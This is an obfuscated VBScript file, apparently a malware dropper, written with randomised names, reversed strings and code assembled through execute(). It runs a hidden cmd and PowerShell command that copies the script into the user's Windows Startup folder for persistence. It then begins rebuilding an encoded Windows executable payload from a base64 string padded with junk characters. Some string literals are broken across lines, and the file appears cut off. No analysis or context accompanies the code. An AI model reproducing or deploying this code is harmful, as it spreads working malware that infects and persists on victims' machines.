yypBUkIPZcUcUNLyNbKv = OSJXajyJROoqJePOusdd(nUMpNPhkGaWaZGPkqxSh + "(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@::(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@:(66%(#%$@%%#&@%4/#1@" , yypBUkIPZcUcUNLyNbKv)

NuvdGLOJyPcKdWeoGAea = "kUrU"

Dim NLhoNhZvLQlcONNQyoml

NLhoNhZvLQlcONNQyoml = True

ONxORZnaLvNacWyASROD(NLhoNhZvLQlcONNQyoml)

Sub ONxORZnaLvNacWyASROD(KcYLdrdTWDJQukUtPOeZ)

If KcYLdrdTWDJQukUtPOeZ Then

yLNWAOLnGJWQKLePWLPP

Else

DoNothing

End If

End Sub

Sub yLNWAOLnGJWQKLePWLPP

Set tTCJaZBOxqhPaYgLUWQq = CreateObject ("Wscript.Shell")

dim laccWoPSaKUkLoLUiPOB, XTTOLKXMRFOVHKXGUWET, QXIZRTQLRYIGBLWALGES

laccWoPSaKUkLoLUiPOB = ")'sbv." + NuvdGLOJyPcKdWeoGAea + " \putratS\smargorP\uneM"

laccWoPSaKUkLoLUiPOB = laccWoPSaKUkLoLUiPOB + " tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'"

laccWoPSaKUkLoLUiPOB = NPYzYZQdUGUiHcmPoDYm(laccWoPSaKUkLoLUiPOB,"

XTTOLKXMRFOVHKXGUWET = "[System.I"

XTTOLKXMRFOVHKXGUWET = XTTOLKXMRFOVHKXGUWET + "O.File]::Copy('"

XTTOLKXMRFOVHKXGUWET = XTTOLKXMRFOVHKXGUWET + nUMpNPhkGaWaZGPkqxSh + "',"

XTTOLKXMRFOVHKXGUWET = XTTOLKXMRFOVHKXGUWET + "'C:\Users\' + [Environment]::UserName + "

XTTOLKXMRFOVHKXGUWET = XTTOLKXMRFOVHKXGUWET + NUcScrclPARUIvDRDDNP(laccWoPSaKUkLoLUiPOB)

XTTOLKXMRFOVHKXGUWET = NPYzYZQdUGUiHcmPoDYm(XTTOLKXMRFOVHKXGUWET, NUcScrclPARUIvDRDDNP("

") ,"")

QXIZRTQLRYIGBLWALGES = ("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -com

and " + XTTOLKXMRFOVHKXGUWET )

QXIZRTQLRYIGBLWALGES = GpLUPbUKyvMXaWDQNWRW(QXIZRTQLRYIGBLWALGES,"

","m")

tTCJaZBOxqhPaYgLUWQq.run QXIZRTQLRYIGBLWALGES, 0, true

End Sub

Function OSJXajyJROoqJePOusdd(wWGkDdTJbcWIJupYWCdG,glGdSaQlKQDwnGSOYRYG)

dim ORUcPscQJPozJWTHrlPs

ORUcPscQJPozJWTHrlPs = "OSJXajyJROoqJePOusdd = "

ORUcPscQJPozJWTHrlPs = ORUcPscQJPozJWTHrlPs + "In

tr(wWGkDdTJbcWIJupYWCdG, glGdSaQlKQDwnGSOYRYG)"

ORUcPscQJPozJWTHrlPs = GpLUPbUKyvMXaWDQNWRW(ORUcPscQJPozJWTHrlPs,"

","S")

execute(ORUcPscQJPozJWTHrlPs)

End Function

Function NPYzYZQdUGUiHcmPoDYm(wWGkDdTJbcWIJupYWCdG,glGdSaQlKQDwnGSOYRYG,QsjqWDUQiDobgLusnNWR)

dim ORUcPscQJPozJWTHrlPs

ORUcPscQJPozJWTHrlPs = "NPYzYZQdUGUiHcmPoDYm = "

ORUcPscQJPozJWTHrlPs = ORUcPscQJPozJWTHrlPs + "R

ORUcPscQJPozJWTHrlPs = GpLUPbUKyvMXaWDQNWRW(ORUcPscQJPozJWTHrlPs,"

","e")

ORUcPscQJPozJWTHrlPs = ORUcPscQJPozJWTHrlPs + "(wWGkDdTJbcWIJupYWCdG ,glGdSaQlKQDwnGSOYRYG, QsjqWDUQiDobgLusnNWR)"

execute(ORUcPscQJPozJWTHrlPs)

End Function

Function NUcScrclPARUIvDRDDNP(wWGkDdTJbcWIJupYWCdG)

dim ORUcPscQJPozJWTHrlPs

ORUcPscQJPozJWTHrlPs = "NUcScrclPARUIvDRDDNP = "

ORUcPscQJPozJWTHrlPs = ORUcPscQJPozJWTHrlPs + "StrR

ORUcPscQJPozJWTHrlPs = GpLUPbUKyvMXaWDQNWRW(ORUcPscQJPozJWTHrlPs,"

","e")

ORUcPscQJPozJWTHrlPs = ORUcPscQJPozJWTHrlPs + "(wWGkDdTJbcWIJupYWCdG)"

execute(ORUcPscQJPozJWTHrlPs)

End Function

FRSOXTZWFLXVLGVLPTQG = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)

Set PJucgcUWRcXCXCcKYbKUDGKZWCJNNPEFLRM = WScript.CreateObject(FRSOXTZWFLXVLGVLPTQG)

Dim UYPYUWpKRdLYUQhheNGe

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "TVqQ##@@$%###@@$%#M#"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "#@@$%###@@$%###@@$%#"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "##@@$%#E##@@$%###@@$"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "%###@@$%###@@$%#//8#"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "#@@$%###@@$%#Lg##@@$"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "%###@@$%###@@$%###@@"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "$%###@@$%###@@$%###@"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "@$%###@@$%###@@$%#Q#"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "#@@$%###@@$%###@@$%#"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "##@@$%###@@$%###@@$%"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "###@@$%###@@$%###@@$"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "%###@@$%###@@$%###@@"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "$%###@@$%###@@$%###@"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "@$%###@@$%###@@$%###"

UYPYUWpKRdLYUQhheNGe = UYPYUWpKRdLYUQhheNGe & "@@$%###@@$%###@@$%##"